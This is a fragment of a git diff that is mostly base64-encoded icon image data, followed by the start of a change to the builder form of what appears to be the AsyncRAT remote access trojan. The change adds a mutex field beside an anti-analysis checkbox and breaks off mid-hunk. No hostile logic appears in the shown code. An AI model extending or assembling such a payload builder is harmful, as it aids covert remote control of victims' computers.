AADdfQAE3X0AI919AGLdfQCu3X0A5919AP7dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XwA/+25d//nx5r/xHID/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA7sNxALvDcQBxw3EALMNxAAfDcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAH3X0ALd19AHLdfQC83X0A7t19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/+CKHP/PiCj/wnAA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA9MNxAMjDcQCAw3EAOMNxAAvDcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAM3X0AOd19 + AIHdfQDJ3X0A9N19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNxANPDcQCQw3EARcNxABLDcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAS3X0ARt19AJHdfQDU3X0A+d19AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8 + AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/MNxAN7DcQCfw3EAU8NxABnDcQACw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AALdfQAa3X0AVN19AKDdfQDe3X0A/N19 + AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/sNxAOfDcQCtw3EAYcNxACLDcQAEw3EAAAAA + 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 + gg== + + AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs index 91396a7..a3b15d9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs @@ -43,6 +43,8 @@ this.label4 = new System.Windows.Forms.Label(); this.groupBox3 = new System.Windows.Forms.GroupBox(); this.chkAnti = new System.Windows.Forms.CheckBox(); + this.txtMutex = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox3.SuspendLayout(); @@ 